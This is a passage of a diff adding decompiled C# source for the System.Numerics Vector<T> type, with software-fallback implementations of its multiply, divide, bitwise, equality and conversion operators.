result.register.int32_0 = value.register.int32_0 * (int)(object)factor; + result.register.int32_1 = value.register.int32_1 * (int)(object)factor; + result.register.int32_2 = value.register.int32_2 * (int)(object)factor; + result.register.int32_3 = value.register.int32_3 * (int)(object)factor; + } + else if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = value.register.uint64_0 * (ulong)(object)factor; + result.register.uint64_1 = value.register.uint64_1 * (ulong)(object)factor; + } + else if (typeof(T) == typeof(long)) + { + result.register.int64_0 = value.register.int64_0 * (long)(object)factor; + result.register.int64_1 = value.register.int64_1 * (long)(object)factor; + } + else if (typeof(T) == typeof(float)) + { + result.register.single_0 = value.register.single_0 * (float)(object)factor; + result.register.single_1 = value.register.single_1 * (float)(object)factor; + result.register.single_2 = value.register.single_2 * (float)(object)factor; + result.register.single_3 = value.register.single_3 * (float)(object)factor; + } + else if (typeof(T) == typeof(double)) + { + result.register.double_0 = value.register.double_0 * (double)(object)factor; + result.register.double_1 = value.register.double_1 * (double)(object)factor; + } + return result; + } + + public static Vector operator *(T factor, Vector value) + { + if (Vector.IsHardwareAccelerated) + { + return new Vector(factor) * value; + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = (byte)(value.register.byte_0 * (byte)(object)factor); + result.register.byte_1 = (byte)(value.register.byte_1 * (byte)(object)factor); + result.register.byte_2 = (byte)(value.register.byte_2 * (byte)(object)factor); + result.register.byte_3 = (byte)(value.register.byte_3 * (byte)(object)factor); + result.register.byte_4 = (byte)(value.register.byte_4 * (byte)(object)factor); + result.register.byte_5 = (byte)(value.register.byte_5 * (byte)(object)factor); + result.register.byte_6 = (byte)(value.register.byte_6 * (byte)(object)factor); + result.register.byte_7 = (byte)(value.register.byte_7 * (byte)(object)factor); + result.register.byte_8 = (byte)(value.register.byte_8 * (byte)(object)factor); + result.register.byte_9 = (byte)(value.register.byte_9 * (byte)(object)factor); + result.register.byte_10 = (byte)(value.register.byte_10 * (byte)(object)factor); + result.register.byte_11 = (byte)(value.register.byte_11 * (byte)(object)factor); + result.register.byte_12 = (byte)(value.register.byte_12 * (byte)(object)factor); + result.register.byte_13 = (byte)(value.register.byte_13 * (byte)(object)factor); + result.register.byte_14 = (byte)(value.register.byte_14 * (byte)(object)factor); + result.register.byte_15 = (byte)(value.register.byte_15 * (byte)(object)factor); + } + else if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = (sbyte)(value.register.sbyte_0 * (sbyte)(object)factor); + result.register.sbyte_1 = (sbyte)(value.register.sbyte_1 * (sbyte)(object)factor); + result.register.sbyte_2 = (sbyte)(value.register.sbyte_2 * (sbyte)(object)factor); + result.register.sbyte_3 = (sbyte)(value.register.sbyte_3 * (sbyte)(object)factor); + result.register.sbyte_4 = (sbyte)(value.register.sbyte_4 * (sbyte)(object)factor); + result.register.sbyte_5 = (sbyte)(value.register.sbyte_5 * (sbyte)(object)factor); + result.register.sbyte_6 = (sbyte)(value.register.sbyte_6 * (sbyte)(object)factor); + result.register.sbyte_7 = (sbyte)(value.register.sbyte_7 * (sbyte)(object)factor); + result.register.sbyte_8 = (sbyte)(value.register.sbyte_8 * (sbyte)(object)factor); + result.register.sbyte_9 = (sbyte)(value.register.sbyte_9 * (sbyte)(object)factor); + result.register.sbyte_10 = (sbyte)(value.register.sbyte_10 * (sbyte)(object)factor); + result.register.sbyte_11 = (sbyte)(value.register.sbyte_11 * (sbyte)(object)factor); + result.register.sbyte_12 = (sbyte)(value.register.sbyte_12 * (sbyte)(object)factor); + result.register.sbyte_13 = (sbyte)(value.register.sbyte_13 * (sbyte)(object)factor); + result.register.sbyte_14 = (sbyte)(value.register.sbyte_14 * (sbyte)(object)factor); + result.register.sbyte_15 = (sbyte)(value.register.sbyte_15 * (sbyte)(object)factor); + } + else if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = (ushort)(value.register.uint16_0 * (ushort)(object)factor); + result.register.uint16_1 = (ushort)(value.register.uint16_1 * (ushort)(object)factor); + result.register.uint16_2 = (ushort)(value.register.uint16_2 * (ushort)(object)factor); + result.register.uint16_3 = (ushort)(value.register.uint16_3 * (ushort)(object)factor); + result.register.uint16_4 = (ushort)(value.register.uint16_4 * (ushort)(object)factor); + result.register.uint16_5 = (ushort)(value.register.uint16_5 * (ushort)(object)factor); + result.register.uint16_6 = (ushort)(value.register.uint16_6 * (ushort)(object)factor); + result.register.uint16_7 = (ushort)(value.register.uint16_7 * (ushort)(object)factor); + } + else if (typeof(T) == typeof(short)) + { + result.register.int16_0 = (short)(value.register.int16_0 * (short)(object)factor); + result.register.int16_1 = (short)(value.register.int16_1 * (short)(object)factor); + result.register.int16_2 = (short)(value.register.int16_2 * (short)(object)factor); + result.register.int16_3 = (short)(value.register.int16_3 * (short)(object)factor); + result.register.int16_4 = (short)(value.register.int16_4 * (short)(object)factor); + result.register.int16_5 = (short)(value.register.int16_5 * (short)(object)factor); + result.register.int16_6 = (short)(value.register.int16_6 * (short)(object)factor); + result.register.int16_7 = (short)(value.register.int16_7 * (short)(object)factor); + } + else if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = value.register.uint32_0 * (uint)(object)factor; + result.register.uint32_1 = value.register.uint32_1 * (uint)(object)factor; + result.register.uint32_2 = value.register.uint32_2 * (uint)(object)factor; + result.register.uint32_3 = value.register.uint32_3 * (uint)(object)factor; + } + else if (typeof(T) == typeof(int)) + { + result.register.int32_0 = value.register.int32_0 * (int)(object)factor; + result.register.int32_1 = value.register.int32_1 * (int)(object)factor; + result.register.int32_2 = value.register.int32_2 * (int)(object)factor; + result.register.int32_3 = value.register.int32_3 * (int)(object)factor; + } + else if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = value.register.uint64_0 * (ulong)(object)factor; + result.register.uint64_1 = value.register.uint64_1 * (ulong)(object)factor; + } + else if (typeof(T) == typeof(long)) + { + result.register.int64_0 = value.register.int64_0 * (long)(object)factor; + result.register.int64_1 = value.register.int64_1 * (long)(object)factor; + } + else if (typeof(T) == typeof(float)) + { + result.register.single_0 = value.register.single_0 * (float)(object)factor; + result.register.single_1 = value.register.single_1 * (float)(object)factor; + result.register.single_2 = value.register.single_2 * (float)(object)factor; + result.register.single_3 = value.register.single_3 * (float)(object)factor; + } + else if (typeof(T) == typeof(double)) + { + result.register.double_0 = value.register.double_0 * (double)(object)factor; + result.register.double_1 = value.register.double_1 * (double)(object)factor; + } + return result; + } + + public unsafe static Vector operator /(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(object)ScalarDivide(left[i], right[i]); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(object)ScalarDivide(left[j], right[j]); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(object)ScalarDivide(left[k], right[k]); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(object)ScalarDivide(left[l], right[l]); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (uint)(object)ScalarDivide(left[m], right[m]); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (int)(object)ScalarDivide(left[n], right[n]); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ulong)(object)ScalarDivide(left[num], right[num]); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (long)(object)ScalarDivide(left[num2], right[num2]); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (float)(object)ScalarDivide(left[num3], right[num3]); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (double)(object)ScalarDivide(left[num4], right[num4]); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = (byte)(left.register.byte_0 / right.register.byte_0); + result.register.byte_1 = (byte)(left.register.byte_1 / right.register.byte_1); + result.register.byte_2 = (byte)(left.register.byte_2 / right.register.byte_2); + result.register.byte_3 = (byte)(left.register.byte_3 / right.register.byte_3); + result.register.byte_4 = (byte)(left.register.byte_4 / right.register.byte_4); + result.register.byte_5 = (byte)(left.register.byte_5 / right.register.byte_5); + result.register.byte_6 = (byte)(left.register.byte_6 / right.register.byte_6); + result.register.byte_7 = (byte)(left.register.byte_7 / right.register.byte_7); + result.register.byte_8 = (byte)(left.register.byte_8 / right.register.byte_8); + result.register.byte_9 = (byte)(left.register.byte_9 / right.register.byte_9); + result.register.byte_10 = (byte)(left.register.byte_10 / right.register.byte_10); + result.register.byte_11 = (byte)(left.register.byte_11 / right.register.byte_11); + result.register.byte_12 = (byte)(left.register.byte_12 / right.register.byte_12); + result.register.byte_13 = (byte)(left.register.byte_13 / right.register.byte_13); + result.register.byte_14 = (byte)(left.register.byte_14 / right.register.byte_14); + result.register.byte_15 = (byte)(left.register.byte_15 / right.register.byte_15); + } + else if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = (sbyte)(left.register.sbyte_0 / right.register.sbyte_0); + result.register.sbyte_1 = (sbyte)(left.register.sbyte_1 / right.register.sbyte_1); + result.register.sbyte_2 = (sbyte)(left.register.sbyte_2 / right.register.sbyte_2); + result.register.sbyte_3 = (sbyte)(left.register.sbyte_3 / right.register.sbyte_3); + result.register.sbyte_4 = (sbyte)(left.register.sbyte_4 / right.register.sbyte_4); + result.register.sbyte_5 = (sbyte)(left.register.sbyte_5 / right.register.sbyte_5); + result.register.sbyte_6 = (sbyte)(left.register.sbyte_6 / right.register.sbyte_6); + result.register.sbyte_7 = (sbyte)(left.register.sbyte_7 / right.register.sbyte_7); + result.register.sbyte_8 = (sbyte)(left.register.sbyte_8 / right.register.sbyte_8); + result.register.sbyte_9 = (sbyte)(left.register.sbyte_9 / right.register.sbyte_9); + result.register.sbyte_10 = (sbyte)(left.register.sbyte_10 / right.register.sbyte_10); + result.register.sbyte_11 = (sbyte)(left.register.sbyte_11 / right.register.sbyte_11); + result.register.sbyte_12 = (sbyte)(left.register.sbyte_12 / right.register.sbyte_12); + result.register.sbyte_13 = (sbyte)(left.register.sbyte_13 / right.register.sbyte_13); + result.register.sbyte_14 = (sbyte)(left.register.sbyte_14 / right.register.sbyte_14); + result.register.sbyte_15 = (sbyte)(left.register.sbyte_15 / right.register.sbyte_15); + } + else if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = (ushort)(left.register.uint16_0 / right.register.uint16_0); + result.register.uint16_1 = (ushort)(left.register.uint16_1 / right.register.uint16_1); + result.register.uint16_2 = (ushort)(left.register.uint16_2 / right.register.uint16_2); + result.register.uint16_3 = (ushort)(left.register.uint16_3 / right.register.uint16_3); + result.register.uint16_4 = (ushort)(left.register.uint16_4 / right.register.uint16_4); + result.register.uint16_5 = (ushort)(left.register.uint16_5 / right.register.uint16_5); + result.register.uint16_6 = (ushort)(left.register.uint16_6 / right.register.uint16_6); + result.register.uint16_7 = (ushort)(left.register.uint16_7 / right.register.uint16_7); + } + else if (typeof(T) == typeof(short)) + { + result.register.int16_0 = (short)(left.register.int16_0 / right.register.int16_0); + result.register.int16_1 = (short)(left.register.int16_1 / right.register.int16_1); + result.register.int16_2 = (short)(left.register.int16_2 / right.register.int16_2); + result.register.int16_3 = (short)(left.register.int16_3 / right.register.int16_3); + result.register.int16_4 = (short)(left.register.int16_4 / right.register.int16_4); + result.register.int16_5 = (short)(left.register.int16_5 / right.register.int16_5); + result.register.int16_6 = (short)(left.register.int16_6 / right.register.int16_6); + result.register.int16_7 = (short)(left.register.int16_7 / right.register.int16_7); + } + else if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = left.register.uint32_0 / right.register.uint32_0; + result.register.uint32_1 = left.register.uint32_1 / right.register.uint32_1; + result.register.uint32_2 = left.register.uint32_2 / right.register.uint32_2; + result.register.uint32_3 = left.register.uint32_3 / right.register.uint32_3; + } + else if (typeof(T) == typeof(int)) + { + result.register.int32_0 = left.register.int32_0 / right.register.int32_0; + result.register.int32_1 = left.register.int32_1 / right.register.int32_1; + result.register.int32_2 = left.register.int32_2 / right.register.int32_2; + result.register.int32_3 = left.register.int32_3 / right.register.int32_3; + } + else if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = left.register.uint64_0 / right.register.uint64_0; + result.register.uint64_1 = left.register.uint64_1 / right.register.uint64_1; + } + else if (typeof(T) == typeof(long)) + { + result.register.int64_0 = left.register.int64_0 / right.register.int64_0; + result.register.int64_1 = left.register.int64_1 / right.register.int64_1; + } + else if (typeof(T) == typeof(float)) + { + result.register.single_0 = left.register.single_0 / right.register.single_0; + result.register.single_1 = left.register.single_1 / right.register.single_1; + result.register.single_2 = left.register.single_2 / right.register.single_2; + result.register.single_3 = left.register.single_3 / right.register.single_3; + } + else if (typeof(T) == typeof(double)) + { + result.register.double_0 = left.register.double_0 / right.register.double_0; + result.register.double_1 = left.register.double_1 / right.register.double_1; + } + return result; + } + + public static Vector operator -(Vector value) + { + return Zero - value; + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector operator &(Vector left, Vector right) + { + Vector result = default(Vector); + if (Vector.IsHardwareAccelerated) + { + long* ptr = &result.register.int64_0; + long* ptr2 = &left.register.int64_0; + long* ptr3 = &right.register.int64_0; + for (int i = 0; i < Vector.Count; i++) + { + ptr[i] = ptr2[i] & ptr3[i]; + } + } + else + { + result.register.int64_0 = left.register.int64_0 & right.register.int64_0; + result.register.int64_1 = left.register.int64_1 & right.register.int64_1; + } + return result; + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector operator |(Vector left, Vector right) + { + Vector result = default(Vector); + if (Vector.IsHardwareAccelerated) + { + long* ptr = &result.register.int64_0; + long* ptr2 = &left.register.int64_0; + long* ptr3 = &right.register.int64_0; + for (int i = 0; i < Vector.Count; i++) + { + ptr[i] = ptr2[i] | ptr3[i]; + } + } + else + { + result.register.int64_0 = left.register.int64_0 | right.register.int64_0; + result.register.int64_1 = left.register.int64_1 | right.register.int64_1; + } + return result; + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector operator ^(Vector left, Vector right) + { + Vector result = default(Vector); + if (Vector.IsHardwareAccelerated) + { + long* ptr = &result.register.int64_0; + long* ptr2 = &left.register.int64_0; + long* ptr3 = &right.register.int64_0; + for (int i = 0; i < Vector.Count; i++) + { + ptr[i] = ptr2[i] ^ ptr3[i]; + } + } + else + { + result.register.int64_0 = left.register.int64_0 ^ right.register.int64_0; + result.register.int64_1 = left.register.int64_1 ^ right.register.int64_1; + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector operator ~(Vector value) + { + return s_allOnes ^ value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool operator ==(Vector left, Vector right) + { + return left.Equals(right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool operator !=(Vector left, Vector right) + { + return !(left == right); + } + + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [System.Runtime.CompilerServices.Intrinsic] + public static explicit operator Vector(Vector value) + { + return new Vector(ref value.register); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector Equals(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)(ScalarEquals(left[i], right[i]) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)(ScalarEquals(left[j], right[j]) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)(ScalarEquals(left[k], right[k]) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)(ScalarEquals(left[l], right[l]) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (ScalarEquals(left[m], right[m]) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (ScalarEquals(left[n], right[n]) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ScalarEquals(left[num], right[num]) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (ScalarEquals(left[num2], right[num2]) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (ScalarEquals(left[num3], right[num3]) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (ScalarEquals(left[num4], right[num4]) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Register existingRegister = default(Register); + if (typeof(T) == typeof(byte)) + { + existingRegister.byte_0 = (byte)((left.register.byte_0 == right.register.byte_0) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_1 = (byte)((left.register.byte_1 == right.register.byte_1) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_2 = (byte)((left.register.byte_2 == right.register.byte_2) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_3 = (byte)((left.register.byte_3 == right.register.byte_3) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_4 = (byte)((left.register.byte_4 == right.register.byte_4) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_5 = (byte)((left.register.byte_5 == right.register.byte_5) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_6 = (byte)((left.register.byte_6 == right.register.byte_6) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_7 = (byte)((left.register.byte_7 == right.register.byte_7) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_8 = (byte)((left.register.byte_8 == right.register.byte_8) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_9 = (byte)((left.register.byte_9 == right.register.byte_9) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_10 = (byte)((left.register.byte_10 == right.register.byte_10) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_11 = (byte)((left.register.byte_11 == right.register.byte_11) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_12 = (byte)((left.register.byte_12 == right.register.byte_12) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_13 = (byte)((left.register.byte_13 == right.register.byte_13) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_14 = (byte)((left.register.byte_14 == right.register.byte_14) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + existingRegister.byte_15 = (byte)((left.register.byte_15 == right.register.byte_15) ? ConstantHelper.GetByteWithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(sbyte)) + { + existingRegister.sbyte_0 = (sbyte)((left.register.sbyte_0 == right.register.sbyte_0) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_1 = (sbyte)((left.register.sbyte_1 == right.register.sbyte_1) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_2 = (sbyte)((left.register.sbyte_2 == right.register.sbyte_2) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_3 = (sbyte)((left.register.sbyte_3 == right.register.sbyte_3) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_4 = (sbyte)((left.register.sbyte_4 == right.register.sbyte_4) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_5 = (sbyte)((left.register.sbyte_5 == right.register.sbyte_5) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_6 = (sbyte)((left.register.sbyte_6 == right.register.sbyte_6) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_7 = (sbyte)((left.register.sbyte_7 == right.register.sbyte_7) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_8 = (sbyte)((left.register.sbyte_8 == right.register.sbyte_8) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_9 = (sbyte)((left.register.sbyte_9 == right.register.sbyte_9) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_10 = (sbyte)((left.register.sbyte_10 == right.register.sbyte_10) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_11 = (sbyte)((left.register.sbyte_11 == right.register.sbyte_11) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_12 = (sbyte)((left.register.sbyte_12 == right.register.sbyte_12) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_13 = (sbyte)((left.register.sbyte_13 == right.register.sbyte_13) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_14 = (sbyte)((left.register.sbyte_14 == right.register.sbyte_14) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + existingRegister.sbyte_15 = (sbyte)((left.register.sbyte_15 == right.register.sbyte_15) ? ConstantHelper.GetSByteWithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(ushort)) + { + existingRegister.uint16_0 = (ushort)((left.register.uint16_0 == right.register.uint16_0) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_1 = (ushort)((left.register.uint16_1 == right.register.uint16_1) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_2 = (ushort)((left.register.uint16_2 == right.register.uint16_2) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_3 = (ushort)((left.register.uint16_3 == right.register.uint16_3) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_4 = (ushort)((left.register.uint16_4 == right.register.uint16_4) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_5 = (ushort)((left.register.uint16_5 == right.register.uint16_5) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_6 = (ushort)((left.register.uint16_6 == right.register.uint16_6) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + existingRegister.uint16_7 = (ushort)((left.register.uint16_7 == right.register.uint16_7) ? ConstantHelper.GetUInt16WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(short)) + { + existingRegister.int16_0 = (short)((left.register.int16_0 == right.register.int16_0) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_1 = (short)((left.register.int16_1 == right.register.int16_1) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_2 = (short)((left.register.int16_2 == right.register.int16_2) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_3 = (short)((left.register.int16_3 == right.register.int16_3) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_4 = (short)((left.register.int16_4 == right.register.int16_4) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_5 = (short)((left.register.int16_5 == right.register.int16_5) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_6 = (short)((left.register.int16_6 == right.register.int16_6) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + existingRegister.int16_7 = (short)((left.register.int16_7 == right.register.int16_7) ? ConstantHelper.GetInt16WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(uint)) + { + existingRegister.uint32_0 = ((left.register.uint32_0 == right.register.uint32_0) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_1 = ((left.register.uint32_1 == right.register.uint32_1) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_2 = ((left.register.uint32_2 == right.register.uint32_2) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + existingRegister.uint32_3 = ((left.register.uint32_3 == right.register.uint32_3) ? ConstantHelper.GetUInt32WithAllBitsSet() : 0u); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(int)) + { + existingRegister.int32_0 = ((left.register.int32_0 == right.register.int32_0) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_1 = ((left.register.int32_1 == right.register.int32_1) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_2 = ((left.register.int32_2 == right.register.int32_2) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + existingRegister.int32_3 = ((left.register.int32_3 == right.register.int32_3) ? ConstantHelper.GetInt32WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(ulong)) + { + existingRegister.uint64_0 = ((left.register.uint64_0 == right.register.uint64_0) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + existingRegister.uint64_1 = ((left.register.uint64_1 == right.register.uint64_1) ? ConstantHelper.GetUInt64WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(long)) + { + existingRegister.int64_0 = ((left.register.int64_0 == right.register.int64_0) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + existingRegister.int64_1 = ((left.register.int64_1 == right.register.int64_1) ? ConstantHelper.GetInt64WithAllBitsSet() : 0); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(float)) + { + existingRegister.single_0 = ((left.register.single_0 == right.register.single_0) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_1 = ((left.register.single_1 == right.register.single_1) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_2 = ((left.register.single_2 == right.register.single_2) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + existingRegister.single_3 = ((left.register.single_3 == right.register.single_3) ? ConstantHelper.GetSingleWithAllBitsSet() : 0f); + return new Vector(ref existingRegister); + } + if (typeof(T) == typeof(double)) + { + existingRegister.double_0 = ((left.register.double_0 == right.register.double_0) ? ConstantHelper.GetDoubleWithAllBitsSet() : 0.0); + existingRegister.double_1 